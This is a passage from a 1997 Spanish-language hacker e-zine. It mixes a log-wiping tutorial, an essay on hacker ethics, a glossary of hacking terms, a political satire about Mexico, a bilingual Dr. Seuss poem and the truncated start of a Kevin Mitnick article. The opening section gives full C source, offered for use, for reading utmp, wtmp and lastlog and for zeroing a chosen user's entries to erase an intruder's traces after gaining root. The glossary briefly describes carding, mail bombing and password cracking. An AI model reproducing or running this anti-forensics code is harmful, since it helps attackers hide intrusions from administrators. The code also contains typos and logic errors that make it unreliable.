ensegui- da. ┌───────────────────────────────────────────────────────────────────────────┐ │ 3-COMO BORRARLAS │ └───────────────────────────────────────────────────────────────────────────┘ Los ficheros 'utmp', 'wtmp' y 'lastlog', asi como los demas logs adicionales que puedan presentar otros sistemas, no son ficheros de texto legibles dado que son estruvturas de datos. Por lo que no podras verlas con un simple editor de texto, pero si con estos programas: Primer programa: -------------------------- cortar por aqui ----------------------------------- /*****************************************************************************/ /***** editar el fichero 'utmp' *****/ /***** *****/ /***** Por Guybrush - guybrush@axis.org *****/ /*****************************************************************************/ /* programa ulog.c */ #include <stdio.h> #include <utmp.h> #define UTMP "/etc/utmp" void main() { struct utmp u; FILe *fichero; if ((fichero = fopen(UTMP,"r")) == NULL) { fprintf(stderr," error : no encontrado el fichero '%s'\n",UTMP); exit(0); } while (fread(&u, sizeof(u), 1, fichero)) { printf("%d - ",u.ut_type); printf("%d - ",u.ut_pid); printf("%s - ",u.ut_line); printf("%s - ",u.ut_id); printf("%d - ",u.ut_time); printf("%s - ",u.ut_user); printf("%s - ",u.ut_host); printf("%d\n",u.ut_addr); } fclose(fichero); } -------------------------- cortar por aqui ----------------------------------- Segundo programa: -------------------------- cortar por aqui ----------------------------------- /*****************************************************************************/ /***** editar el fichero 'wtmp' *****/ /***** *****/ /***** Por Guybrush - guybrush@axis.org *****/ /*****************************************************************************/ /* programa wlog.c */ #include <stdio.h> #include <utmp.h> #define WTMP "/usr/adm/wtmp" void main() { struct utmp w; FILe *fichero; if ((fichero = fopen(WTMP,"r")) == NULL) { fprintf(stderr," error : no encontrado el fichero '%s'\n",WTMP); exit(0); } while (fread(&w, sizeof(w), 1, fichero)) { printf("%d - ",w.ut_type); printf("%d - ",w.ut_pid); printf("%s - ",w.ut_line); printf("%s - ",w.ut_id); printf("%d - ",w.ut_time); printf("%s - ",w.ut_user); printf("%s - ",w.ut_host); printf("%d\n",w.ut_addr); } fclose(fichero); } -------------------------- cortar por aqui ----------------------------------- Tercer programa: -------------------------- cortar por aqui ----------------------------------- /*****************************************************************************/ /***** editar el fichero 'lastlog' *****/ /***** *****/ /***** Por Guybrush - guybrush@axis.org *****/ /*****************************************************************************/ /* programa llog.c */ #include <stdio.h> #include <lastlog.h> #include <pwd.h> #define LASTLoG "/usr/adm/lastlog" void main() { struct lastlog l; FILe *fichero; if ((fichero = fopen(LASTLoG,"r")) == NULL) { fprintf(stderr," error : no encontrado el fichero '%s'\n",LASTLoG); exit(0); } while (fread(&l, sizeof(l), 1, fichero)) { printf("%d - ",l.ll_time); printf("%s - ",l.ll_line); printf("%s\n",l.ll_host); } fclose(fichero); } -------------------------- cortar por aqui ----------------------------------- Con estos 3 programas te daras cuenta de como quedas registrado en el sistema. puedes utilizarlos desde cualquier usuario aunque no seas root ya que solo muestran los datos y no los modifican. Ahora, si consigues ser root, deberas borrarlos. y para eso puedes utilizar este otro programa: -------------------------- cortar por aqui ----------------------------------- /*****************************************************************************/ /***** Borrar las huellas de los ficheros 'utmp', 'wtmp' y 'lastlog' *****/ /***** *****/ /***** Por Guybrush - guybrush@axis.org *****/ /*****************************************************************************/ /* programa borrar.c */ #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <utmp.h> #include <lastlog.h> #include <pwd.h> #define UTMP "/etc/utmp" /* ruta del utmp */ #define WTMP "/usr/adm/wtmp" /* ruta del wtmp */ #define LASTLoG "/usr/adm/lastlog" /* ruta del lastlog */ /***** BoRRAR HUeLLAS De UTMP Y WTMP *****/ void borrar1(char *usuario, char *log) { struct utmp u; /* usamos la estructura de datos 'utmp' */ int fd; int cambio = 0; if ((fd = open(log,o_RDoNLY)) == 0) { fprintf(stderr,"error : no encontrado el fichero %s\n",log); exit(0); } close(fd); if ((fd = open(log,o_RDWR)) == 0) { fprintf(stderr,"error : no se puede abrir el fichero %s para escritura\n",log); exit(0); } lseek(fd, 0, SeeK_SeT); while (read(fd, &u, sizeof(u))) { if (!strncmp(u.ut_user, usuario, strlen(usuario))) { bzero((char *)&u, sizeof(u)); /* si hay alguna referencia */ lseek(fd, -(sizeof(u)), SeeK_CUR); /* sobre el usuario elegido */ write(fd, &u, sizeof(u)); /* borra las huellas */ cambio = 1; } } close(fd); if (cambio == 0) fprintf(stderr,"No se han encontrado huellas en '%s'\n",log); else fprintf(stderr,"Las huellas de '%s' han sido borradas\n",log); return; } /***** BoRRAR HUeLLAS De LASTLoG *****/ void borrar2(char *usuario, char *log) { struct lastlog l; /* usamos la estructura de datos 'lastlog' */ struct passwd *pwd; /* usamos la estructura de datos 'passwd' */ int fd; int cambio = 0; if ((fd = open(log,o_RDoNLY)) == 0) { fprintf(stderr,"error : no encontrado el fichero %s\n",log); exit(0); } close(fd); if ((fd = open(log,o_RDWR)) == 0) { fprintf(stderr,"error : no se puede abrir el fichero %s para escritura\n",log); exit(0); } lseek(fd, 0, SeeK_SeT); if ((pwd = getpwnam(usuario)) == NULL) { fprintf(stderr,"error : no existe ese usuario\n"); exit(0); } while (read(fd, &l, sizeof(l))) { if (lseek(fd, (long)pwd->pw_uid*sizeof(l), SeeK_CUR)) { bzero((char *)&l, sizeof(l)); /* si hay alguna referencia al */ write(fd, &l, sizeof(l)); /* usuario elegido, borra las */ cambio = 1; /* huellas */ } } close(fd); if (cambio == 0) fprintf(stderr,"No se han encontrado huellas en '%s'\n",log); else fprintf(stderr,"Las huellas de '%s' han sido borradas\n",log); return; } /***** FUNCIoN PRINCIPAL *****/ void main(int argc, char *argv[]) { if (argc != 3) { fprintf(stderr, "Uso : %s <usuario> <u|w|l|t>\n"); fprintf(stderr," u = utmp\n"); fprintf(stderr," w = wtmp\n"); fprintf(stderr," l = lastlog\n"); fprintf(stderr," t = todo (los tres)\n"); exit(0); } if (argv[2][0] == 'l') borrar2(argv[1], LASTLoG); /* borramos las huellas del lastlog */ if (argv[2][0] == 'u') borrar1(argv[1], UTMP); /* borramos las huellas del utmp */ if (argv[2][0] == 'w') borrar1(argv[1], WTMP); /* borramos las huellas del wtmp */ if (argv[2][0] == 't') { borrar2(argv[1], LASTLoG); borrar1(argv[1], UTMP); borrar1(argv[1], WTMP); } } -------------------------- cortar por aqui ----------------------------------- espero que les saques provecho. ;) ┌───────────────────────────────────────────────────────────────────────────┐ │ 4-DESPEDIDA │ └───────────────────────────────────────────────────────────────────────────┘ Esto es todo por hoy. espero que te halla servido de ayuda y que me escribas si tienes alguna duda. Tambien me gustaria que me corrigierais si es que me he confundido en algo. Podeis usar y distribuir estos programas pero con la condicion de que dejeis el copyright. Un saludo. ·-= Guybrush =-· ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% 10-10-1997. ?????? ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ┌───────────────────────────────────────────────────┐▓▓ │ La Verdad Y La Mentira en el Mundo Del Hacker │▓▓ │ - J.J.F. / HACKERS TEAM - │▓▓ └───────────────────────────────────────────────────┘ Ya estoy harto de que la gente me escriba o me pregunte por el irc, con la tipica pregunta "Hola, soy nuevo en inet y quiero ser Hacker", la verdad es que es algo patetico. En realidad un HACKER es aquel que se esfuerza en aprender hasta donde pueda llegar, le da igual sino le sirve para nada en su trabajo o en su vida, la cuestion es aprende todo lo que se pueda de la informatica por puro placer, que se enfrenta a los problemas con logica y los descompone en problemas mas simples para hallar una solucion. Claro que los Hackers exploran las redes, pero solo para acceder a donde otros no llegan o no pueden, ademas del estimulo personal que supone entrar en un sistema supuestamente seguro que un monton de profesionales lo afirman, pero jamas para destrozar o benecifiarse de alguna manera del sistema que explora. Pero que esta gente diga estas cosas no es lo peor del caso, sino de aquellos que se creen Hackers y cuando llegan estos newbies les dicen ( porque no lo explican en detalle ) algun truco, que generalmente es para joder el sistema y se quedan tan anchos, y luegos estos newbies van por hay usando ese vil truco, sin saber exactamente que estan haciendo y como les puede perjudicar a ellos mismos y al sistema, ya se creen unos Hackers y luego pasa lo que pasa, la poli en kasa y las madres llorando, puede que parezca muy exagerado pero estamos llegando a una situacion asi. Solo porque a uno les digan 4 trucos mal explicados no se convierte en un Hackers, los verdaderos Hackers no han nacido con el hack en las venas, para ser Hackers han dedicado muchos años de estudio en conocer todo lo que pasa por sus manos, porque "los autenticos no se convierten se hacen a si mismos". Por ejemplo un Hacker que se precie debe saber: - S.O. (sistemas operativos: unix y sus variantes, NT, etc...) - Programacion ( C, asm, etc..) - Telecomunicaciones. - Seguridad. - Y estar preparado para todo. Ademas jamas para de aprender algo nuevo y siempre esta en proceso de aprendizaje de las nuevas tecnologias que van saliendo. - S.O. : Necesita conocer todos los que pueda, cuantos mas mejor. Para saber moverse por el nucleo para desmontar o montar lo que necesite. - Programacion : Para crearse sus propias herramientas cuando una determinada tarea lo requiera, ademas del placer que conlleva desarrollar soft, pero no solo desarrolar sino tb estudiar el soft de los demas. - Telecomunicaciones : Debe saber como funciona inet tecnicamente pero ademas tb su modem y todo lo relacionado. - Seguridad : Cual es la seguridad, como evitarla o como ponerla :) en los s.o., inet, etc... - Y esperar lo inesperado, saber como moverse por todo y conocer perfectamente donde se mete y que esta arriesgando. Estos 2 ultimos factores para mi son importantes, porque mas de la mitad de la gente cuando hackea o hace sus chapuzillas, no toma las medidas oportunas ni sabe cuales son, ni nada de nada, solo porque no quiere gastar un par de horas de su vida a recopilar info para leer y volversela a leer, nada mejor que un buen libro sobre seguridad informatica :) El proceso mas importante de un buen Hacker es leer todo la documentacion tecnica que pueda, sacar sus conclusiones y realizar sus pruebas. Pues esto esto que tenia que decir del tema y espero que haya quedado claro el termino de Hacker y lo que conlleva. Espero que nadie se enfade con lO que opino en este articulo porque esta claro que es la verdad. "LA INFORMACION A DE SER LIBRE PERO CON LOGICA" CONDE VAMPIRO - J.J.F. / HACKERS TEAM - ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% El departamento de ingenieria social y ciencias politicas dentro de esta revista se engalana en presentarles el Ensayo Oficial sobre Mexico creado para debatir y reafirmar las bases de la celebre y ya famosa frase: " COMO MEXICO NO HAY DOS " La ciudad de Mexico D.F. no es una metropoli moderna, bien diseñada y arreglada asi pues, las ciudades diseñadas con el futuro en mente deben estar seguras que en eso Mexico no puede ganar. La ciudad de Mexico D.F. cuenta con los niveles de contaminacion mas altos del mundo y con mas autos que varias ciudades de latinoamerica unidas asi que las ciudades con aire limpio y lluvia limpia pueden descansar ya que Mexico en eso no les puede ganar. La ciudad de Mexico D.F. cuenta con una escena hacker demasiado underground debido a los riesgos que implica declararse hacker como pueden ser la perdida de estudios y trabajo. Asi que las ciudades con una escena hacker que se moviliza y promueve la liberacion de la informacion pueden estar seguros que en eso Mexico no les puede ganar. [ intentaremos...eso si :-) ] El sistema telefonico de la ciudad de Mexico es digital y moderno pero no libre de fallas o mal funcionamiento. Si tu ciudad cuenta con un sistema telefonico infalible descansa pues Mexico a tu ciudad en eso no puede ganar. [ pero en monopolios telefonicos probablemente en eso si ganemos ] Los edificios en la ciudad de Mexico carecen de automatizacion apoyada por computadoras. Si no fuera por CEMEX ni siquiera tuvieramos una sola compañia que usara satelites y computadoras para agilizar sus proyectos pero por ser CEMEX una empresa en manos extranjeras queda descalificada. Si tu ciudad esta al borde de ser entregada a las computadoras puedes estar seguro que en eso mexico no puede ganar. PERO... Si el sistema politico en tu ciudad esta podrido, huele a corrupcion y los lideres son mayores de 90 años o mas debes empezar a preocuparte por que en eso Mexico SI puede ganar. ¿ Quieres razones para ver lo avanzado que esta Mexico en este aspecto ? -¿En que pais ganan mas los policias y granaderos que los maestros de escuela? -¿En que pais civilizado le dan mas tiempo a un pinche partido de segunda division que a un debate politico entre dos candidatos? -¿En donde se da el increible caso de un Presidente que viola todas sus promesas y compromisos? -¿En que otro pais la ciudadania sufre mas asaltos por parte de la policia que de los delincuentes? -¿En que pais matan impunemente a mas de 400 miembros de la oposicion y no se castiga a nadie? -¿En que pais se solapa que en tiempos de paz la tropa viole mujeres, encarcele inocentes y destruya viviendas? -¿En que pais el Presidente recicla sus promesas de campaña y las presenta 3 años despues como un proyecto nuevo? -¿En que pais se amenaza a la gente con una devaluacion para que voten por el Gobierno? -¿En que pais mandan como embajadores y representantes a los ciudadanos mas corruptos? -¿En donde hay un pais en el que el Gobierno usa las obras publicas para ganar votos? -¿En donde se encuentra un pais donde los diputados esten al servicio del Presidente y no de quienes los eligieron? -¿En donde se da el caso de que los bancos violen el secreto bancario por ordenes gubernamentales? -¿En que pais se sufre un desastroso choque entre dos trenes del transporte colectivo (METRO) y se culpa no a un hacker, no a un empleado sino a una computadora? Tomando en cuenta que en paises de habla africana, indu, castellana, portuguesa, inglesa y hasta 18 paises actualmente usando lenguas muertas no logramos encontrar una situacion politica igual a la de Mexico hemos llegado a la conclusion ampliamente aceptada de que: " COMO MEXICO NO HAY DOS "...¡no hay tos! * Algunos extractos del señor Rius. Mr.X ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% TERMINOS USADOS EN EL HACKING WORLD Ademas de los amplios conocimientos sobre sistemas operativos, internet e informatica en general, un hacker necesita una serie de herramientas para poder 'trabajar'. He aqui una serie de conceptos y de herramientas necesarias para cualquier hacker: - Los terminos de HACKER y CRACKER ya estan muy vistos, pero aun hay mucho ignorante que los confunde ... y digo ignorante porque esa confusion nos afecta a muchos. Un HACKER es alguien con amplios conocimientos de infor- matica (notese que digo 'amplios conocimientos'. No considero como hacker a un tio que sin tener ni idea de informatica, que para el 'Unix' es una marca de ordenadores y un 'Sniffer' es algo relacionado con la droga, se pasa 5 o 6 horas diarias en el canal #hackers del IRC y que ha hecho buenos amigos que le pasan logins y passwords de servidores ya hackeados). Bueno, como iba diciendo, convertirse en hacker no es como sacarse un carnet de conducir o algo asi. No hay una meta, no llega un momento en que ya eres hacker y se acabo todo. Es un continuo estudio ya que todo va modernizandose. Aparecen nuevos sistemas, nuevas versiones, ... A diferencia de los hackers, que solo se dedican a investigar y entrar en servidores solo para dotorear un poco, o para dejar alli su 'sello' para que lo vea el administrador cuando entre al dia siguiente, hay dos tipos CRACKERS: los que se saltan las barreras de proteccion (numeros de serie, vidas infinitas - en caso ede juegos, ...) de software y los peores de todo, los que al igual que los hackers, estudian la forma de entrar en un ordenador (o simplemente le pasa alguien un login y un passwd en el IRC) y entran en el con el fin de destrozarlo todo. ¡Cabrones! Por su culpa que hayan leyes tan duras contra los hackers y que muchos administradores aumenten la seguridad en sus servidores.... Tambien existen los PHREACKERS, muy parecidos a los hackers, pero con una finalidad distinta, estudiar el funcionamiento de los telefonos (cabinas, inalambricos, moviles, ...) y en su caso llamar gratis (pero esta no es la finalidad de todos los phreackers). Y por ultimo, un PIRATA es alguien que hace y vende copias ilegales de programas de software. - LAMMER: Hay mucha gente que opina que un lammer es el que quiere llegar a ser hacker y es aun novato. Para mi, esa persona es un 'novato' y punto. Un lammer es el que llega y te dice: 'Quiero ser un hacker, pero no quiero aprender sistemas operativos ni leer demasiadas cosas porque la informatica me aburre. Dime algun login de algun sitio ...'. Esa gente solo quiere aprovecharse de los estudios de los demas para darselas luego ellos de super-hackers. Quieren que les digas el nombre de algun servidor que hayas hackeado tu para luego ir ellos y destrozarlo y pegarse luego el pegote en el IRC, fardando de lo que no son. No se puede ir por ahi diciendo que quieres ser un hacker en 24 horas. Tienes que leer, estudiar y navegar mucho en busca de programas y de informacion. Si eres un novato no tengas miedo de preguntar tus dudas. En Raregazz te las resolveran sin llamarte lammer (si es que no lo eres :) ). - BUGS y EXPLOITS: Los bugs son fallos en un programa o un sistema. Por ejemplo, cuando alguien te dice que el internet explorer tiene bugs quiere decir que hay fallos. Por ejemplo un bug seria que un programa se bloqueara, que haga algo indebido, ... Muchos de estos bugs son aprovechados por los hackers para entrar en sistemas. Un exploit es un programa que aprovecha un bug. Es decir, no es siempre tan sencillo como escribir #%&$&/(* para que el programa se cuelge. A veces es necesario un pequeño programa. - SNIFFER: Es un programa que monitoriza los paquetes de datos que circulan por la red. Mas claramente, todo lo que circula por la red va en 'paquetes de datos' que el sniffer chequea en busca de informacion referente a logins o password. Cada sistema debe usar un sniffer distinto. Y naturalmente que NO puedes ponerlo en tu casa. Tu no tienes una red, por lo que los unicos paquetes de datos (con informacion sobre login) que puedan pasar seran los tuyos. - PASSWORD CRACKER: En todos los ordenadores con sistemas basados en Unix se guarda un fichero con todos los password de usuarios (naturalmente encrip- tados) pero que cualquiera puede leer. Es imposible desencritarlos pero si que se puede usar diccionarios para encriptar y comparar palabras con las de ese fichero (/etc/passwd). A los programas que hacen esto se les llama PASSWORD CRACKER (crackeadores de password). - PORT SCANER: Es muy importante conocer el funcionamiento del 'telnet'. Con esta utilidad puedes acceder a cualquier puerto. Pero, ¿que es un puerto? un ordenador puede tener varios servicios disponibles: telnet, ftp, WWW, ... pero ¿como distingue el ordenador a que servicio queremos acceder?. Por ejemplo, podemos hacer 'telnet victima.com' o 'ftp victima.com' o 'http://victima.com'. Cada servicio accede a un puerto distinto del ordena- dor. Por ejemplo, el telnet es el 23, el smtp (correo saliente) el 25, el http es el 80, ... Bueno, pues un escaneador de puertos es un programa que chequea todos los puertos abiertos de un ordenador (que podras aprovechar tu para entrar en el). - BOXING: ¿Que es eso de Blue Box, Black Box, Red Box, y demas cajas de colores? Pues simplemente son circuitos electronicos para, de una manera u otra, llamar gratis por telefono. Debes tener en cuenta que cada pais tiene un sistema telefonico distindo. Si eres de España (al igual que yo), pasate por la CPNE (Compañia Phreack Nacional de España): http://cpne.islatortuga.com/ - WAR DIALER: Estos son programas (tambien se podria hacer a mano, pero es muy pesado) que realizan llamadas telefonicas en busca de modems. Recuerda que no solo se puede hackear en Internet. Hay muchos comercios, bancos, etc que trabajan con modems y a los que puedes acceder llamandoles por telefono (si lo conoces, naturalmente). - FIREWALL: Un firewall es un sistema de seguridad que tienen ciertos servido- res para impedir el paso de ciertas personas. Para ello chequean tu IP y segun de donde provenga te dejan o no pasar. - NUKEAR: Eso es 'putear a alguien' ... para que todos lo entendais. Nukear es bloquear un ordenador. Desgraciadamente hay muchos gilipollas que se dedican a eso en los canales de IRC. - ZAP: Zap es un programa que debido a la fama que ha cogido, se le llama zapear a borrar las huellas en un sistema. - MAIL BOMBER: Som bombardeadores de correo. Envian un numero determinado de mensajes a una direccion causando un auntentico kaos a la victima. Otra forma de bombardear a algun capullo es suscribiendole a muchos grupos (sexo, jardineria, politica, ...). - CARDING: Estudiar el funcionamiento de las tarjetas de credito. Aunque mucha gente, mas que estudiar el funcionamiento, utiliza numeros y datos de alguna tarjeta para hacer compras por la red y cargarle los gasto a algun pardillo. - RAREGAZZ: La mejor pagina de hacking que puedas encontrar en la red. Lee sus revistas y bajate todos los programas que aparecen en la pagina y ... feliz hack!!!. Y No dejes de visitar mi pagina sobre bugs ... http://www.geocities.com/Baja/Dunes/1429/mio.htm Unos consejos: - Si estas en algun canal #hackers de IRC y aparece un termino que no conoces NO preguntes en el canal :'¿ que es un @#$%&^] ?' porque esos que creen ser superhackers y que en realidad son mas lammers que la gente del canal #novatos, te nukearan. Puedes preguntar cosas en privado a alguien que tengas confianza. Y recuerda, no seas lammer. Pregunta cosas RAZONABLES. - Y otro consejo muy importante: ¿ Quieres ser un hacker de 31173 (elite) ? Pues lee todas las revistas y bajate todas las herramientas disponibles en la pagina. Y no dudes en preguntar lo que quieras ... te contestaran en seguida. [ por lo menos aqui en raregazz ] ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% The Big Brag -=El presumido=- By Dr. Seuss Si se leen las lineas en ingles notaras que riman... The rabbit felt mighty important that day { El conejo se sentia importante ese dia } On top of the hill in the sun where he lay. { En la cima de la montaña donde se acostaba en el sol } He felt SO important up there on that hill { Se sentia TAN importante arriba en esa montaña } That he started in braging, as animals will { Que empezo a presumir como los animales lo hacen } And he boasted out loud, as he threw out his chest, { Y grito fuerte con todo su pecho, } "Of all the beasts in the world, I'm the best! { ¡De todas las bestias del mundo, Yo soy el mejor! } On land, and on sea...even up in the sky { En tierra, agua y aire } No animal lives who is better than I!" { ¡Ningun animal vive que sea mejor que yo! } "Whats that?" growled a voice that was terribly gruff. { ¿Que es eso? gruñio una voz } "Now why do you say such ridiculous stuff?" { ¿Por que dices algo tan ridiculo? } The rabbit looked down and he saw a big bear. { El conejo bajo la mirada y encontro un oso. } "I'm best of the beasts," said the bear. "And so there!" { "Soy la mejor de las bestias en el mundo", dijo el oso. "Y mas alla!" } "You're not!" snapped the rabbit. "I'm better than you!" { "Tu no lo eres!" dijo el conejo. "¡Soy mejor que tu!" } But how can you prove it? Just what can you DO?" { ¿Como lo pruebas? ¿Que es lo que sabes HACER?" } "Hmmmm..." thought the rabbit, { "Hmmmm..." penso el conejo, } "Now what CAN I do...?" { ¿Que es lo que PUEDO hacer...? } He thought and he thought. Then finally said, { El penso y finalmente dijo, } "Mr. Bear, do you see these two ears on my head? { Señor OSO, ve estas dos orejas en mi cabeza? } My ears are so keen and so sharp and so fine { Mis orejas son tan exactas y precisas } No ears in the world can hear further than mine!" { ¡Que ninguna otra oreja en el mundo puede escuchar mas! } "But how do I know just how far they can hear?" { ¿Como sabre que tan lejos puedes escuchar? } "I'll prove," said the rabbit, "my ears are the best. { "Lo probare," dijo el conejo, "mis orejas son las mejores. } You sit there and watch me. I'll prove it by test." { Tu sientate y observa. Lo demostrare en un test. } Then he stiffened his ears till they both stood up high { Entonces afino sus orejas y las mantuvo altas } And pointed straight up at the blue of the sky. { Y apunto hacia arriba justo al azul del cielo. } He stretched his ears open as wide as he could. { Estiro sus orejas lo mas que pudo. } "Shhh! I am listening!" he said as he stood. { "Shhh! Estoy escuchando!" el dijo. } And he said to the bear, "Do you know what I heard? { Y le dijo al oso, "¿Sabes lo que he escuchado? } Do you see that far mountain...? It's ninety miles off. { ¿Alcanzas a ver esa montaña lejana...? esta a noventa millas. } There's a fly on that mountain. I just heard him cough! { Hay una mosca en esa montaña. ¡La acabo de escuchar toser! } Now the cough of a fly, sir, is quite hard to hear { El sonido de la tos en una mosca es dificil de escuchar } When he's ninety miles off. But I heard it quite clear. { Cuando se encuentra a noventa millas. Pero la escuche claro. } So you see," bragged the rabbit, "it's perfectly true { Ya vez," presumio el conejo, " Es verdad } That my ears are the best, so I'm better than you!" { Que mis orejas son mejores, asi que soy mejor que tu!" } The bear, for a moment, just sulked as he sat { El oso por el momento permanecio callado } For he knew that his ears couldn't hear things like that. { Pues el sabia que sus orejas no podrian escuchar esas cosas. } "This rabbit," he thought, "made a fool out of me. { "Este conejo," el penso, "ha hecho un tonto de mi. } Now I've got to prove that I'm better than he." { Ahora tengo que probar que soy mejor que el." } So he said to the rabbit, "You hear pretty well. { Asi que dijo al conejo, "Escuchas bastante bien. } You can hear ninety miles. But how far can you smell? { Puedes escuchar noventa millas. ¿Pero que tan lejos olfateas? } I'm the greatest of smellers," he bragged. "See my nose? { Soy el mejor olfateador," el presumio. "Vez mi nariz? } This nose on my face is the finest that grows. { Esta nariz es la mas fina que nace. } My nose can smell anything, both far and near. { Mi nariz puede olfatear todo, de cerca y lejos. } With my nose I can smell twice as far as you hear!" { ¡Con mi nariz puedo olfatear lo doble de lo que escuchas!" } "You can't!" snapped the rabbit { "¡No puedes!" dijo el conejo } "I can!" growled the bear { ¡Yo puedo! gruñio el oso } And he stuck his big nose 'way up high in the air. { Y mantuvo su nariz muy alto en el aire. } Then he said to the rabbit, "I've smelled far enough." { Luego dijo al conejo, "He olfateado lo suficiente." } "All right," said the rabbit. "Come on now and tell { Muy bien," dijo el conejo. "Ven aca y platica } Exactly how far is the smell that you smell?" { Exactamente que tan lejos es el olor que olfateas?" } "Oh, I'm smelling a very far smell," said the bear. { "Oh, Estoy olfateando un olor lejano," dijo el oso. } "Away past that fly on the mountain out there. { "Lejos de la mosca en la montaña. } Is a very small farm. On the farm is a tree. { Hay una pequeña granja. En la granja un arbol. } On the tree is a branch. On the branch is a nest, { En el arbol una rama. En la rama un nido, } A very small nest where two tiny eggs rest. { Un muy pequeño nido donde dos huevos descansan. } Two eggs! Only half an inch long! { ¡Dos huevos! ¡De tan solo una pulgada! } that is a thing that no rabbit can do. { esto es una cosa que ningun conejo puede hacer. } So you see," the bear boasted, "I'm better than you! { Asi que tu vez," el oso dijo, "¡Yo soy mejor que tu! } My smeller's so keen that it just can't be beat..." { Mi olfato es tan preciso que nada puede vencerlo..." } "What's that?" called a voice. { ¿Que es eso? dijo una voz. } From 'way down by his feet { Muy abajo de sus pies } The bear and the rabbit looked down at the sound, { El oso y el conejo miraron hacia el sonido, } And they saw and old worm crawling out of the ground. { Y observaron un viejo gusano arrastrandose fuera de la tierra. } "Now, boys," said the worm, "you've been bragging a lot. { "Ahora, muchachos," dijo el gusano, "han estado presumiendo mucho. } You both think you're great. butI think you are not. { Ustedes dos piensan que son geniales. Pero YO demostrare que no lo son. } You're not half as good as a fellow like me. { No son ni la mitad de lo bueno que somos las personas como yo. } You hear and you smell. But how far can you SEE? { Ustedes escuchan y olfatean. ¿Pero que tan lejos pueden VER? } Now, I'm here to prove to you big boasting guys { Ahora, Estoy aqui para demostrarles lo presumidos que son } That your nose and your ears aren't as good as my eyes!" { ¡Su nariz y orejas no son tan buenos como mis ojos!" } And the little old worm cocked his head to one side { Y el pequeño gusano giro su cabeza a un lado } And he opened his eyes and he opened them wide. { Y abrio sus ojos. } And they looked far away with strange sort of stare. { Y vieron muy lejos como hipnotizados. } As if they were burning two holes in the air. { Como si fueran dos agujeros quemandose en el aire. } The eyes of that worm almost popped from his head. { Los ojos del gusano casi salen de su cabeza. } He stared half an hour till his eyelids got red. { Estuvo media hora y sus ojos enrojecieron. } "That's enough!" growled the bear. {"¡Suficiente!" gruñio el oso. } "Tell the rabbit and me { "Explica al conejo y a mi } How far did you look and just what did you see?" { ¿Que tan lejos y que viste?" } "Well, boys," the worm answered, "that look that I took { Bueno chicos," el gusano contesto, "esa mirada que hice } Was a look that looked further than you'll ever look! { ¡Fue una que ninguno de ustedes podra alcanzar! } I looked 'cross the ocean, 'way out to Japan. { Pase por el oceano, mas alla de Japon. } For I can see further that anyone can. { Yo pude ver mas lejos que todos. } There's no one on earth who has eyesight that's finer. { Nadie en la tierra tiene una vista mas fina. } I looked past Japan. Then I looked across China. { Pase por Japon. Despues a traves de China. } I looked across Egypt; then took a quick glance { Me fije por Egipto; despues eche un vistazo } Across the two countries of Holland and France. { Por en medio de los dos paises entre Holanda y Francia. } Then I looked across England and, also, Brazil. { Despues pase por Inglaterra y tambien Brazil. } But I didn't stop there. I looked much farther still. { Pero no me detuve ahi. Mire mucho mas lejos. } "And I kept right on looking and looking until { Y segui viendo y viendo hasta que } I'd looked 'round the world and right back to this hill! { ¡Vi alrededor del mundo y de nuevo a esta montaña! } And I saw on this hill, since my eyesight's so keen, { Y vi en esta montaña, debido a mi precisa vista, } The two biggest fools that have ever been seen! { ¡Los dos estupidos mas grandes que he visto! } And the fools that I saw were none other than you, { Y los tontos que vi no eran otros que ustedes, } Who seem to have nothing else better to do { Que al parecer no tienen otra cosa que hacer } Than sit here and argue who's better than who!" { ¡Que sentarse ahi a discutir quien es mejor que quien!" } Then the little old worm gave his head a small jerk { Entonces el pequeño gusano le dio un golpe a su cabeza } And he dived in his hole and went back to his work. { Y se metio de nuevo a su agujero y siguio trabajando. } Mr.X ∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\∩\ @%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@% Kevin Mitnick: Recluso numero 89950-012 "Las carceles se arrastran por la humedad del mundo, van por la tenebrosa sendera de los juzgados; buscan a un hombre, buscan a un pueblo, lo persiguen, lo absorben, se lo tragan. (...) Ser libre es una cosa que solo un hombre sabe: Solo el hombre que advierto dentro de esa mazmorra como si yo estuviera. Cierra las puertas, echa la aldaba, carcelero. Ata duro a ese hombre: no le ataras el alma. Son muchas llaves, muchos cerrojos, injusticias: no le ataras el alma. Cadenas, si: cadenas de sangre necesita. Hierros venosos, calidos, sanguineos eslabones que no rechacen a los nudos siguientes humanamente atados." Las Carceles Miguel Hernandez (Orihuela 1910 - Reformatorio de Adultos, Alicante 1942) Hace algunas semanas vi, en una revista electronica brasileña una nota 